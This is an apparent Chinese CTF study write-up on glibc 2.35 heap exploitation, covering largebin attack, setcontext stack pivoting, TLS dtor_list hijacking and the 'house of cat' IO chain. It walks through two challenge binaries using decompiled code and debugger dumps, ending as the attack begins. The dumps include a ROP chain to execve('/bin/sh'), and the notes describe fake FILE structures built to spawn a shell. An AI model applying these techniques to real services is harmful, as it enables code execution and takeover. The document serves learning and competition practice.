# glibc 2.35 ubuntu3 下的利用手法。
原本我们以为 2.35 的时代不会来的这么快,但是最近 DS360ctf,以及强网杯几道题目的出现让 glibc 的 pwn 生存条件急剧下降。
首先我们谈谈为什么很多师傅都人为 2.35 的堆 pwn 是一个寒冬:
# 现状:
之所以这样讲,一部分原因在于由于高版本的 glibc 的安全特性,封锁掉了很多的后门,特别是几个重要的 hook 不再是我们可以利用的了。但是这并不是让题目更难,觉得反而是解题出现严重的两级分化,一部分师傅研究过几个手法,几乎就可以做到一口气解决,因为利用的手法比较单一,就那么几种,即便是先提出的手法,其实原理也是大同小异。而对于不了解的师傅,就会陷入深渊,没有后门,或者自己习惯的后门都被堵上了,怎么走。
我们发现,其实大部分的情况都都是因为 hook 被禁止。而最近出现的手法,就要求我们要继续挖掘 io 的利用链。
所以这次我就要花费一些时间整理一部分。主要还是基于目前出现的一些题目的复现。
** 在 35 时代,我们必须学会 largebinattack
目前计划着是有
- house of apple 1
- house of apple 2
- house of apple 3
- house of cat
- house of emma
- house of banana
- tls 劫持
# 一些小总结:
目前遇到的 2.35 的题目都是基于同一个版本
dreamcat@dreamcat-virtual-machine:~/Desktop/360dsctf/eznote$ strings libc.so.6 |grep ubuntu | |
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3) stable release version 2.35. | |
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>. |
# largebinattack
关键代码
else | |
{ | |
victim_index = largebin_index (size); //largebins | |
bck = bin_at (av, victim_index); | |
fwd = bck->fd; | |
/* maintain large bins in sorted order */ | |
if (fwd != bck) | |
{ | |
/* Or with inuse bit to speed comparisons */ | |
size |= PREV_INUSE; | |
/* if smaller than smallest, bypass loop below */ | |
assert (chunk_main_arena (bck->bk)); | |
if ((unsigned long) (size) | |
< (unsigned long) chunksize_nomask (bck->bk)) | |
{ | |
fwd = bck; | |
bck = bck->bk; | |
victim->fd_nextsize = fwd->fd; | |
victim->bk_nextsize = fwd->fd->bk_nextsize; | |
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; | |
} | |
else | |
{ | |
assert (chunk_main_arena (fwd)); | |
while ((unsigned long) size < chunksize_nomask (fwd)) | |
{ | |
fwd = fwd->fd_nextsize; | |
assert (chunk_main_arena (fwd)); | |
} | |
if ((unsigned long) size | |
== (unsigned long) chunksize_nomask (fwd)) | |
/* Always insert in the second position. */ | |
fwd = fwd->fd; | |
else | |
{ | |
victim->fd_nextsize = fwd; | |
victim->bk_nextsize = fwd->bk_nextsize; | |
if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd)) // 相比于 2.29 新增加的判断 | |
malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)"); | |
fwd->bk_nextsize = victim; | |
victim->bk_nextsize->fd_nextsize = victim; | |
} | |
bck = fwd->bk; | |
if (bck->fd != fwd) //// 相比于 2.29 新增加的判断 | |
malloc_printerr ("malloc(): largebin double linked list corrupted (bk)"); | |
} | |
} | |
else | |
victim->fd_nextsize = victim->bk_nextsize = victim; | |
} |
相比于 2.29,新增加了两个检查。因为这些检查的原因,我们只有插入小 size 额可以实现 attack,
# 要求
- 对应的 bin 中只有一个 free_chunk,(此时 fd_nextsize,bk_nextsize 都指向自己)
- 修改 free_chunk 的 bk_nextsize 为目标地址减去 0x20.
# setcontext
在新的版本中,setcontext 不再是直接使用 rdi,而是使用 rdx 进行参数的一些设置。所以需要一些手段在 setcontext 之前,能够设置 rdx 为可控制的堆空间。
0x7f2c07abea6d <setcontext+61> mov rsp, qword ptr [rdx + 0xa0]
► 0x7f2c07abea74 <setcontext+68> mov rbx, qword ptr [rdx + 0x80]
0x7f2c07abea7b <setcontext+75> mov rbp, qword ptr [rdx + 0x78]
0x7f2c07abea7f <setcontext+79> mov r12, qword ptr [rdx + 0x48]
0x7f2c07abea83 <setcontext+83> mov r13, qword ptr [rdx + 0x50]
0x7f2c07abea87 <setcontext+87> mov r14, qword ptr [rdx + 0x58]
0x7f2c07abea8b <setcontext+91> mov r15, qword ptr [rdx + 0x60]
0x7f2c07abea8f <setcontext+95> test dword ptr fs:[0x48], 2
0x7f2c07abea9b <setcontext+107> je setcontext+294 <setcontext+294>
↓
0x7f2c07abeb56 <setcontext+294> mov rcx, qword ptr [rdx + 0xa8]
0x7f2c07abeb5d <setcontext+301> push rcx
0x7f2c07abeb5e <setcontext+302> mov rsi,QWORD PTR [rdx+0x70]
0x7f2c07abeb62 <setcontext+306>: mov rdi,QWORD PTR [rdx+0x68]
0x7f2c07abeb66 <setcontext+310>: mov rcx,QWORD PTR [rdx+0x98]
0x7f2c07abeb6d <setcontext+317>: mov r8,QWORD PTR [rdx+0x28]
0x7f2c07abeb71 <setcontext+321>: mov r9,QWORD PTR [rdx+0x30]
0x7f2c07abeb75 <setcontext+325>: mov rdx,QWORD PTR [rdx+0x88]
0x7f2c07abeb7c <setcontext+332>: xor eax,eax
0x7f2c07abeb7e <setcontext+334>: ret
rdx 我们提前布置为我们可以控制的堆上,保证 rbp 大于、等于 rsp。除了 rcx,其他寄存器直接设置为 0,这里单独提出来 rcx,是因为 setcontext 最后 ret 的时候相当于,mov rip,[rsp]。加一个 ret 后,就可以劫持程序栈 rip.
RBP 0x563dfde0ada0 —▸ 0x7f3391d8b3e5 (iconv+197) ◂— pop rdi | |
RSP 0x563dfde0ad98 —▸ 0x7f3391db4b52 (setcontext+290) ◂— ret | |
*RIP 0x7f3391db4b7e (setcontext+334) ◂— ret | |
───────────────────────────────────[ DISASM ]─────────────────────────────────── | |
0x7f3391db4b66 <setcontext+310> mov rcx, qword ptr [rdx + 0x98] | |
0x7f3391db4b6d <setcontext+317> mov r8, qword ptr [rdx + 0x28] | |
0x7f3391db4b71 <setcontext+321> mov r9, qword ptr [rdx + 0x30] | |
0x7f3391db4b75 <setcontext+325> mov rdx, qword ptr [rdx + 0x88] | |
0x7f3391db4b7c <setcontext+332> xor eax, eax | |
► 0x7f3391db4b7e <setcontext+334> ret |
我们的 rbp 设置为 rop 的开始而不是在下一条。但是我还没有搞清楚是否可以用 leave;ret; 浅尝了一下,不可以
# tls 劫持 exit 执行流
# 前提条件
- 任意地址写一个堆地址,
- 泄露出 heap 地址,libc 地址
- 我们可以改写一个 chunk 的头部信息,prev_size,size。
- 程序可以执行 exit(这里我们仅仅测试了 main 函数直接 retutrn, 显式调用 exit 应该也可以,或者报错)
# 这里我们以 360dsctf 的 eznote 为例题,
程序实现了基本的增删改查,程序初始化的时候,申请了一个 chunk 用作一个指针数组,用于储存我们申请的 note.
unsigned __int64 init_0() | |
{ | |
unsigned __int64 v1; // [rsp+8h] [rbp-10h] | |
v1 = __readfsqword(0x28u); | |
setbuf(stdin, 0LL); | |
setbuf(stdout, 0LL); | |
setbuf(stderr, 0LL); | |
alarm(0x78u); | |
gp = (global_list *)calloc(7uLL, 0x18uLL); | |
return __readfsqword(0x28u) ^ v1; | |
} |
这里储存的结构体的大小为 0x18 字节,gp 一共申请了 7 个。
00000000 note struc ; (sizeof=0x18, mappedto_15) | |
00000000 ; XREF: global_list/r | |
00000000 size dq ? ; XREF: add+28/r | |
00000008 ptr dq ? ; offset | |
00000010 real_size dq ? | |
00000018 note ends | |
00000018 |
size 是我们在申请 chunk 的时候提供的,real_size 是我们输入的数据的长度。
问题出在 add 的时候,同时存在的 note 的数量判断。这里值判断是否大于 7,所以我们申请第 8 个的时候,可以通过检查,那么就造成了数组的御姐,数组储存在 chunk 中,势必会影响下一个 chunk 的头部数据。
int add() | |
{ | |
__int64 count; // rbp | |
__int64 v1; // rbx | |
__int64 size; // rax | |
__int64 v3; // r12 | |
char *ptr; // r13 | |
char *real_size; // rax | |
note *v6; // rbx | |
if ( (unsigned __int64)nums > 7 ) | |
return puts("Too many notes."); | |
count = 0LL; | |
v1 = 1LL; | |
if ( gp->list[0].ptr ) | |
{ | |
while ( 1 ) | |
{ | |
++count; | |
if ( !gp->list[v1].ptr || count == 7 ) | |
break; | |
++v1; | |
} | |
} | |
else | |
{ | |
v1 = 0LL; | |
} | |
__printf_chk(1LL, "Size: "); | |
size = getnum(); | |
v3 = size; | |
if ( size <= 0x3FF ) | |
return puts("Invalid size."); | |
ptr = (char *)calloc(size, 1uLL); | |
__printf_chk(1LL, "Content: "); | |
real_size = read_n(0, ptr, v3); | |
v6 = &gp->list[v1]; | |
v6->size = v3; | |
++nums; | |
v6->ptr = ptr; | |
v6->real_size = (__int64)real_size; | |
return __printf_chk(1LL, "Note%lu saved.\n", count); | |
} |
数组最小限制为 0x400, 没有上限,所以我们可以尽情的构造较大的 chunk。
观察到,数组溢出时候的情况。因为我们申请 gp 数组的堆块大小只有 0xb0, 实际使用空间只有 0xa8, 那么,我们申请的 7 个结构体恰好可以沾满,那么第 8 个结构体的 size 就会占据下一个 chunk 的头部,修改 chunk_size。如果我们前面的 chunk 申请的比较小,第八个申请的很大,就会导致第一个 chunk 的 size 被更改,实现 overlap。
主义的时,一旦 8 号 chunk 申请处理啊,就无法 free。
泄露地址。
在向 note 中读入数据的时候,会自动补全空字符。输出使用格式化字符串,只是 add 时使用了 calloc,初始化 chunk。
char *__fastcall read_n(int fd, char *ptr, __int64 size) | |
{ | |
char *v3; // r14 | |
char *pos; // r15 | |
__int64 v5; // rbx | |
char *end; // r13 | |
__int64 v7; // rsi | |
char buf; // [rsp+17h] [rbp-41h] BYREF | |
unsigned __int64 v11; // [rsp+18h] [rbp-40h] | |
v3 = ptr; | |
v11 = __readfsqword(0x28u); | |
buf = 0; | |
if ( size ) | |
{ | |
pos = ptr; | |
v5 = 1LL - (_QWORD)ptr; | |
end = &ptr[size]; | |
while ( 1 ) | |
{ | |
v7 = (__int64)&pos[v5]; | |
if ( read(fd, &buf, 1uLL) <= 0 || buf == 10 ) | |
break; | |
*pos++ = buf; | |
if ( pos == end ) | |
goto LABEL_8; | |
} | |
*pos = 0; | |
} | |
else | |
{ | |
LABEL_8: | |
v3[size - 1] = 0; | |
v7 = size; | |
} | |
return (char *)v7; | |
} |
修改掉第一个 notechunk 的 size 后,直接将其 free,就会将第二个覆盖到
pwndbg> x/28gx 0x5572d1a52290 | |
0x5572d1a52290: 0x0000000000000000 0x00000000000000b1 | |
0x5572d1a522a0: 0x0000000000000000 0x0000000000000000 | |
0x5572d1a522b0: 0x0000000000000000 0x0000000000000418 | |
0x5572d1a522c0: 0x00005572d1a52770 0x0000000000000418 | |
0x5572d1a522d0: 0x0000000000000418 0x00005572d1a52b90 | |
0x5572d1a522e0: 0x0000000000000418 0x0000000000000418 | |
0x5572d1a522f0: 0x00005572d1a52fb0 0x0000000000000418 | |
0x5572d1a52300: 0x0000000000000418 0x00005572d1a533d0 | |
0x5572d1a52310: 0x0000000000000418 0x0000000000000418 | |
0x5572d1a52320: 0x00005572d1a537f0 0x0000000000000418 | |
0x5572d1a52330: 0x0000000000000418 0x00005572d1a53c10 | |
0x5572d1a52340: 0x0000000000000418 0x0000000000000841 // 原本为 0x421 | |
0x5572d1a52350: 0x00007fa2a9bbace0 0x00007fa2a9bbace0 | |
0x5572d1a52360: 0x0000000000000000 0x0000000000000000 |
重新申请第一个 chunk 区域,第二个 chunk 的数据就会被更改了。
我们就完成了 libc 的泄露,下面就是堆 heap 地址的泄露,只要有了 overlap 我们就完成了两地址的泄露 ,这里不在细说。
接下来就是利用 largebinattack 攻击,首先修改 tls_dtor_list 的值为一个我们可控制的 chunk 地址。然后修改 secret 为已知可控地址。secret 是 tcache,fastbin 加密 key。
tls_dtor_list 结构体的为
*(struct dtor_list *) 0x563bed37d920 | |
$8 = { | |
func = 0x525a0543f9580000, | |
obj = 0x7f16ef9363e5 <iconv+197>, | |
map = 0x7f16efae4698, | |
next = 0x7f16ef937e51 <__gconv_close_transform+225> | |
} | |
+++++++++++++++++++++++ | |
pwndbg> tel 0x563bed37d920 10 | |
00:0000│ 0x563bed37d920 ◂— 0x525a0543f9580000 | |
01:0008│ 0x563bed37d928 —▸ 0x7f16ef9363e5 (iconv+197) ◂— pop rdi | |
02:0010│ 0x563bed37d930 —▸ 0x7f16efae4698 ◂— 0x68732f6e69622f /* '/bin/sh' */ | |
03:0018│ 0x563bed37d938 —▸ 0x7f16ef937e51 (__gconv_close_transform+225) ◂— pop rsi | |
04:0020│ 0x563bed37d940 ◂— 0x0 | |
05:0028│ 0x563bed37d948 —▸ 0x7f16efa2b497 (qecvt+39) ◂— pop rdx | |
06:0030│ 0x563bed37d950 ◂— 0x0 | |
07:0038│ 0x563bed37d958 ◂— 0x0 | |
08:0040│ 0x563bed37d960 —▸ 0x7f16ef9f70f0 (execve) ◂— endbr64 |
总结下,这里。00 的位置,其实是任意代码执行的,除了可以写 leave,但是貌似这里的写法已经很直接,所以我们无需再更改,如有需要可以写为 orw.secret 其实是否需要改写,是根据是否可以泄露出 secret 而定,如果可以,就不需要改写,一些攻击即可。
我们修改 tls_dtor_list 为一个堆头地址,我们还要将这个头部改写,因为任意代码执行就是这个直接地址开始的。
关于 largebinattack,如果 bin 只有一个 free_chunk,我们攻击的话,只需要修改其 bk_nextsize。
同时,我们也可以进行多次攻击,只要是 size 比第一个小,就会进行前插,但是这次不是修改第一个头的 bk_next, 而是第一次那个。就是说在同一个位置修改,其他尽量保持不变。
关键就在与修改 tls_dtor_list,开始这里是空的,将其指向一个 chunk, 并且完全控制这里,在这里构造一个 leave ret 加上 rop,注意的是 leaveret 的地址要进行加密。
# house of cat
这是一个比较新的路径,是 catF1y 师傅挖出来的一条链子,并且在强网杯初赛部署了同名题目。但是,就在比赛前夕,以为师傅连更两条博客,house of apple2 以及 house of apple3,导致了题目被非预期。同时,我们也尝试了使用 house of emma,成功非预期。这里就先开始预期解的 house of cat 的学习记录。
高版本的 glibc 就是对 io 的疯狂脑洞输出。house of cat 也是一个有关 io 的利用路径。
# 利用条件
- 1. 能够任意地址写一个可控堆地址。
- 2. 能够泄露堆地址和 libc 基址。
- 3. 能够触发 IO 流(FSOP 或触发__malloc_assert),执行 IO 相关函数。
其实从这里我们看出,这里的利用条件与其他的一些手法极为相似,基本就是利用 exit () 函数退出的一些操作。随着版本的迭代,glibc 对于虚表的保护也是不断的更新,首先就是对于 io_file_jump 的检查,包括但不限于禁止直接修改虚表内容、检查虚表地址是否合法(在规定的虚表地址范围内)。其实之前我们讲过利用 io_str_jump 的虚表绕过检查,但是当时的方法的弊端就是两个函数_IO_str_overflow 以及_IO_str_finish 的相关漏洞被封死。
这里作者利用了一个新的 io 虚表结构体_IO_wfile_jumps,然后下面的操作与_IO_str_jumps 非常相似,甚至函数名字都很相似
这里我先介绍下目标函数是如何实现然亦函数调用的,
结构体
const struct _IO_jump_t _IO_wfile_jumps libio_vtable = | |
{ | |
JUMP_INIT_DUMMY, | |
JUMP_INIT(finish, _IO_new_file_finish), | |
JUMP_INIT(overflow, (_IO_overflow_t) _IO_wfile_overflow), | |
JUMP_INIT(underflow, (_IO_underflow_t) _IO_wfile_underflow), | |
JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow), | |
JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wdefault_pbackfail), | |
JUMP_INIT(xsputn, _IO_wfile_xsputn), | |
JUMP_INIT(xsgetn, _IO_file_xsgetn), | |
JUMP_INIT(seekoff, _IO_wfile_seekoff), | |
JUMP_INIT(seekpos, _IO_default_seekpos), | |
JUMP_INIT(setbuf, _IO_new_file_setbuf), | |
JUMP_INIT(sync, (_IO_sync_t) _IO_wfile_sync), | |
JUMP_INIT(doallocate, _IO_wfile_doallocate), | |
JUMP_INIT(read, _IO_file_read), | |
JUMP_INIT(write, _IO_new_file_write), | |
JUMP_INIT(seek, _IO_file_seek), | |
JUMP_INIT(close, _IO_file_close), | |
JUMP_INIT(stat, _IO_file_stat), | |
JUMP_INIT(showmanyc, _IO_default_showmanyc), | |
JUMP_INIT(imbue, _IO_default_imbue) | |
}; |
原理,利用程序报错__malloc_asset 报错调用 xsputn, 替换该虚表函数为 _IO_wfile_seekfoff
FSOP 选择的触发方法是调用_IO_flush_all_lockp,这个函数会刷新_IO_list_all 链表中所有项的文件流,相当于对每个 FILE 调用 fflush,也对应着会调用_IO_FILE_plus.vtable 中的_IO_overflow。
其中的函数(_IO_wfile_seekoff)的内部结构为
off64_t _IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode) | |
{ | |
off64_t result; | |
off64_t delta, new_offset; | |
long int count; | |
if (mode == 0) | |
return do_ftell_wide (fp); | |
int must_be_exact = ((fp->_wide_data->_IO_read_base | |
== fp->_wide_data->_IO_read_end) | |
&& (fp->_wide_data->_IO_write_base | |
== fp->_wide_data->_IO_write_ptr)); | |
#需要绕过was_writing的检测 | |
bool was_writing = ((fp->_wide_data->_IO_write_ptr | |
> fp->_wide_data->_IO_write_base) | |
|| _IO_in_put_mode (fp)); | |
if (was_writing && _IO_switch_to_wget_mode (fp)) | |
return WEOF; | |
...... | |
} |
如果 mode!=0 且 fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base 会调用_IO_switch_to_wget_mode 这个函数,继续跟进代码。虽然说这里要求的是 mode 值不为零,但是在最开始伪造的时候,mode 设置却还是 0,不过调试的时候,发现这里可能会发生变化,从我们传入的 0 变为了 - 1。经过测试,最开始也可以将 mode 设置为 1 ,后面触发__malloc_assert,mode 不会被更改。(这条仅在 house of cat 同名题目测试)。
int _IO_switch_to_wget_mode (FILE *fp) | |
{ | |
if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base) | |
if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF) | |
return EOF; | |
...... | |
} |
而_IO_WOVERFLOW 是 glibc 里定义的一个宏调用函数
#define _IO_WOVERFLOW(FP, CH) WJUMP1 (__overflow, FP, CH) | |
#define WJUMP1(FUNC, THIS, X1) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1) |
可以看到对_IO_WOVERFLOW 没有进行任何检测,为了便于理解,我们再来看看汇编代码
0x7f4cae745d30 <_IO_switch_to_wget_mode> endbr64
0x7f4cae745d34 <_IO_switch_to_wget_mode+4> mov rax, qword ptr [rdi + 0xa0]
0x7f4cae745d3b <_IO_switch_to_wget_mode+11> push rbx
0x7f4cae745d3c <_IO_switch_to_wget_mode+12> mov rbx, rdi
0x7f4cae745d3f <_IO_switch_to_wget_mode+15> mov rdx, qword ptr [rax + 0x20]
0x7f4cae745d43 <_IO_switch_to_wget_mode+19> cmp rdx, qword ptr [rax + 0x18]
0x7f4cae745d47 <_IO_switch_to_wget_mode+23> jbe _IO_switch_to_wget_mode+56 <_IO_switch_to_wget_mode+56>
0x7f4cae745d49 <_IO_switch_to_wget_mode+25> mov rax, qword ptr [rax + 0xe0]
0x7f4cae745d50 <_IO_switch_to_wget_mode+32> mov esi, 0xffffffff
0x7f4cae745d55 <_IO_switch_to_wget_mode+37> call qword ptr [rax + 0x18]
在造成任意地址写一个堆地址的基础上,这里的寄存器 rdi(fake_IO 的地址)、rax 和 rdx 都是我们可以控制的,
rdi 是我们伪造的 io_file 的地址,我们将 rax 控制为堆上的一个地址,就可以实现任意函数的调用。
这里还要补习一下 setcontext 的知识
在开启沙箱的情况下,假如把最后调用的 [rax + 0x18] 设置为 setcontext,把 rdx 设置为可控的堆地址,就能执行 srop 来读取 flag;如果未开启沙箱,则只需把最后调用的 [rax + 0x18] 设置为 system 函数,把 fake_IO 的头部写入 /bin/sh 字符串,就可执行 system ("/bin/sh")
fake_IO 结构体需要绕过的检测
_wide_data->_IO_read_ptr !=_wide_data->_IO_read_end | |
_wide_data->_IO_write_ptr > _wide_data->_IO_write_base | |
#如果_wide_data=fake_io_addr+0x30,其实也就是fp->_IO_save_base < f->_IO_backup_base | |
fp``-``>_lock是一个可写地址 | |
fp``-``>_mode ``=` `0 |
大致的攻击流程
- 修改_IO_list_all 为可控地址(FSOP)或修改 stderr 为可控地址 (__malloc_assert)。
- 在上一步的可控地址中伪造 fake_IO 结构体。
- 通过 FSOP 或 malloc 触发攻击。
但是当我进行到这里的时候,我发现不能独立正常的复现,因为作者的文章并没有给出这条完整利用链。
# 问题
- 完整的利用链是从哪里触发, 完整的函数调用链是怎么样的?
- 作者提出了两个不同的流程,一个是进行 FSOP,利用的是_IO_flush_all_lockp 函数来刷新所有的 IO 流。也就是说最后是进入 flush 函数,进行一系列的调用,对应的就是虚表中的_IO_overflow. 但是_IO_flush_all_lockp 触发的前提应该是能执行 exit (显式调用、libc 调用 abort、以及 main 函数正常退出)
- 另外一个思路是利用利用__malloc_assert 触发的报错。会使用 stderr 进行一个报错输出
以上,house of cat 的关键点是 JUMP_INIT (seekoff, _IO_wfile_seekoff), 顺利的进入后又会执行 _IO_switch_to_wget_mode (fp),最大的问题就是如何进入这里 _IO_wfile_seekoff?
以下为个人的分析过程
我们要知道这里代替了谁。函数的入口在于 IO 函数初始化后调用谁的问题,因为我们是对 vtable 进行了偏移替换,所以我们将二者进行一个对比。
修改前的 IO_list_all 的对应
pwndbg> p &_IO_list_all | |
$1 = (struct _IO_FILE_plus **) 0x7f56882ae680 <_IO_list_all> | |
pwndbg> p *(struct _IO_FILE_plus **) 0x7f56882ae680 | |
$2 = (struct _IO_FILE_plus *) 0x7f56882ae6a0 <_IO_2_1_stderr_> | |
pwndbg> p *(struct _IO_FILE_plus *) 0x7f56882ae6a0 | |
$3 = { | |
file = { | |
_flags = -72540025, | |
_IO_read_ptr = 0x7f56882ae723 <_IO_2_1_stderr_+131> "", | |
_IO_read_end = 0x7f56882ae723 <_IO_2_1_stderr_+131> "", | |
_IO_read_base = 0x7f56882ae723 <_IO_2_1_stderr_+131> "", | |
_IO_write_base = 0x7f56882ae723 <_IO_2_1_stderr_+131> "", | |
_IO_write_ptr = 0x7f56882ae723 <_IO_2_1_stderr_+131> "", | |
_IO_write_end = 0x7f56882ae723 <_IO_2_1_stderr_+131> "", | |
_IO_buf_base = 0x7f56882ae723 <_IO_2_1_stderr_+131> "", | |
_IO_buf_end = 0x7f56882ae724 <_IO_2_1_stderr_+132> "", | |
_IO_save_base = 0x0, | |
_IO_backup_base = 0x0, | |
_IO_save_end = 0x0, | |
_markers = 0x0, | |
_chain = 0x7f56882ae780 <_IO_2_1_stdout_>, | |
_fileno = 2, | |
_flags2 = 0, | |
_old_offset = -1, | |
_cur_column = 0, | |
_vtable_offset = 0 '\000', | |
_shortbuf = "", | |
_lock = 0x7f56882afa60 <_IO_stdfile_2_lock>, | |
_offset = -1, | |
_codecvt = 0x0, | |
_wide_data = 0x7f56882ad8a0 <_IO_wide_data_2>, | |
_freeres_list = 0x0, | |
_freeres_buf = 0x0, | |
__pad5 = 0, | |
_mode = 0, | |
_unused2 = '\000' <repeats 19 times> | |
}, | |
vtable = 0x7f56882aa600 <_IO_file_jumps> | |
} | |
pwndbg> p _IO_file_jumps | |
$4 = { | |
__dummy = 0, | |
__dummy2 = 0, | |
__finish = 0x7f5688120070 <_IO_new_file_finish>, | |
__overflow = 0x7f5688120e40 <_IO_new_file_overflow>, | |
__underflow = 0x7f5688120b30 <_IO_new_file_underflow>, | |
__uflow = 0x7f5688121de0 <__GI__IO_default_uflow>, | |
__pbackfail = 0x7f5688123300 <__GI__IO_default_pbackfail>, | |
__xsputn = 0x7f568811f680 <_IO_new_file_xsputn>, | |
__xsgetn = 0x7f568811f330 <__GI__IO_file_xsgetn>, | |
__seekoff = 0x7f568811e960 <_IO_new_file_seekoff>, | |
__seekpos = 0x7f5688122530 <_IO_default_seekpos>, | |
__setbuf = 0x7f568811e620 <_IO_new_file_setbuf>, | |
__sync = 0x7f568811e4b0 <_IO_new_file_sync>, | |
__doallocate = 0x7f5688112b90 <__GI__IO_file_doallocate>, | |
__read = 0x7f568811f9b0 <__GI__IO_file_read>, | |
__write = 0x7f568811ef40 <_IO_new_file_write>, | |
__seek = 0x7f568811e6f0 <__GI__IO_file_seek>, | |
__close = 0x7f568811e610 <__GI__IO_file_close>, | |
__stat = 0x7f568811ef30 <__GI__IO_file_stat>, | |
__showmanyc = 0x7f56881234a0 <_IO_default_showmanyc>, | |
__imbue = 0x7f56881234b0 <_IO_default_imbue> | |
} |
修改后 (地址不一样,看偏移)
pwndbg> p *(struct _IO_FILE_plus *) 0x562fcda56370 | |
$7 = { | |
file = { | |
_flags = 0, | |
_IO_read_ptr = 0x451 <error: Cannot access memory at address 0x451>, | |
_IO_read_end = 0x7f2b2d5cc0e0 <main_arena+1120> " t\245\315/V", | |
_IO_read_base = 0x562fcda55290 "", | |
_IO_write_base = 0x562fcda55290 "", | |
_IO_write_ptr = 0x7f2b2d5cc840 <_IO_2_1_stdout_+192> "", | |
_IO_write_end = 0x0, | |
_IO_buf_base = 0x0, | |
_IO_buf_end = 0x1 <error: Cannot access memory at address 0x1>, | |
_IO_save_base = 0x0, | |
_IO_backup_base = 0x562fcda57cd0 "", | |
_IO_save_end = 0x7f2b2d405a6d <setcontext+61> "H\213\242\240", | |
_markers = 0x0, | |
_chain = 0x0, | |
_fileno = 0, | |
_flags2 = 0, | |
_old_offset = 0, | |
_cur_column = 0, | |
_vtable_offset = 0 '\000', | |
_shortbuf = "", | |
_lock = 0x562fcda56000, | |
_offset = 0, | |
_codecvt = 0x0, | |
_wide_data = 0x562fcda563a0, | |
_freeres_list = 0x0, | |
_freeres_buf = 0x0, | |
__pad5 = 0, | |
_mode = -1, | |
_unused2 = '\000' <repeats 19 times> | |
}, | |
vtable = 0x7f2b2d5c80d0 <_IO_wfile_jumps+16> | |
} | |
pwndbg> p _IO_file_jumps | |
$8 = { | |
__dummy = 0, | |
__dummy2 = 0, | |
__finish = 0x7f2b2d43e070 <_IO_new_file_finish>, | |
__overflow = 0x7f2b2d43ee40 <_IO_new_file_overflow>, | |
__underflow = 0x7f2b2d43eb30 <_IO_new_file_underflow>, | |
__uflow = 0x7f2b2d43fde0 <__GI__IO_default_uflow>, | |
__pbackfail = 0x7f2b2d441300 <__GI__IO_default_pbackfail>, | |
__xsputn = 0x7f2b2d43d680 <_IO_new_file_xsputn>, | |
__xsgetn = 0x7f2b2d43d330 <__GI__IO_file_xsgetn>, | |
__seekoff = 0x7f2b2d43c960 <_IO_new_file_seekoff>, | |
__seekpos = 0x7f2b2d440530 <_IO_default_seekpos>, | |
__setbuf = 0x7f2b2d43c620 <_IO_new_file_setbuf>, | |
__sync = 0x7f2b2d43c4b0 <_IO_new_file_sync>, | |
__doallocate = 0x7f2b2d430b90 <__GI__IO_file_doallocate>, | |
__read = 0x7f2b2d43d9b0 <__GI__IO_file_read>, | |
__write = 0x7f2b2d43cf40 <_IO_new_file_write>, | |
__seek = 0x7f2b2d43c6f0 <__GI__IO_file_seek>, | |
__close = 0x7f2b2d43c610 <__GI__IO_file_close>, | |
__stat = 0x7f2b2d43cf30 <__GI__IO_file_stat>, | |
__showmanyc = 0x7f2b2d4414a0 <_IO_default_showmanyc>, | |
__imbue = 0x7f2b2d4414b0 <_IO_default_imbue> | |
} |
我们看到这里对应的入口点就是 xsputn。当__malloc_assert 进行 __fxprintf 调用的时候,进行错误输出的时候,
__fxprintf ————》》
locked_vfxprintf ————》》
__vfprintf_internal ————》》 //0x7f6fb038d15d <__vfprintf_internal+173> call *ABS*+0xab090@plt
__strchrnul_avx2;ret
__libc_cleanup_push_defer;ret
0x7f6fb038d1c8 <__vfprintf_internal+280> call qword ptr [r12 + 0x38] //调用目标函数<__GI__IO_wfile_seekoff>
# 下面我们直接来看题目。
开始的逆向过程就不再赘述。
程序确实实现了增删改查的功能,但是对于改的次数做出了严格的限制,只允许进行两次更改,而且程序没有结束功能,也就是说,我们如果想利用 io 必须触发报错__malloc_assert。由于我们只有两次修改的机会,那么其实我们已经想好了怎么做,一次用来出发报错,一次用来伪造 io 结构。
我们来看程序的实现,
# add
在创建的 chunk 的时候,最多允许我们创建 16 个 cat,并且对 size 的大小进行了限制
size <= 0x417 || size > 0x46F |
只允许的 largebin 范围的堆块的创建
void add() | |
{ | |
unsigned __int64 idx; // [rsp+0h] [rbp-10h] | |
size_t size; // [rsp+8h] [rbp-8h] | |
writen("plz input your cat idx:\n"); | |
idx = getint(); | |
if ( idx > 0xF || list[idx] ) | |
{ | |
writen("invalid!\n"); | |
} | |
else | |
{ | |
writen("plz input your cat size:\n"); | |
size = getint(); | |
if ( size <= 0x417 || size > 0x46F ) | |
{ | |
writen("invalid size!\n"); | |
} | |
else | |
{ | |
list[idx] = calloc(1uLL, size); | |
if ( list[idx] ) | |
{ | |
size_list[idx] = size; | |
writen("plz input your content:\n"); | |
read(0, list[idx], size_list[idx]); | |
} | |
else | |
{ | |
writen("error!\n"); | |
} | |
} | |
} | |
} |
同时,因为使用 了 calloc 函数,会对我们申请出来的 chunk 进行一个初始化。read 允许我们输入空字符。
接下来我们看看删除
# delete
void del() | |
{ | |
unsigned __int64 v0; // [rsp+8h] [rbp-8h] | |
writen("plz input your cat idx:\n"); | |
v0 = getint(); | |
if ( v0 <= 0xF && list[v0] ) | |
free(list[v0]); | |
else | |
writen("invalid!\n"); | |
} |
明显的一个 uaf,可以用来泄露数据。
所以我们在看下 show
# show
void show() | |
{ | |
unsigned __int64 v0; // [rsp+8h] [rbp-8h] | |
writen("plz input your cat idx:\n"); | |
v0 = getint(); | |
if ( v0 <= 0xF && list[v0] ) | |
{ | |
writen("Context:\n"); | |
write(1, list[v0], 0x30uLL); | |
} | |
else | |
{ | |
writen("invalid!\n"); | |
} | |
} |
使用 write,允许输出空字符,最多输出 0x30 字节,这已经够了,我们只要释放两个不相连的 chunk 就可以实现两地址的泄露,但是,这里要注意到,这个 uaf 的负面影响就是,我们不可以再向对应的 idx 申请 chunk,所以我们要控制数量。
# 攻击
简单的布局下 chunk,泄露出两个地址, 然后准备进行 largebinattack
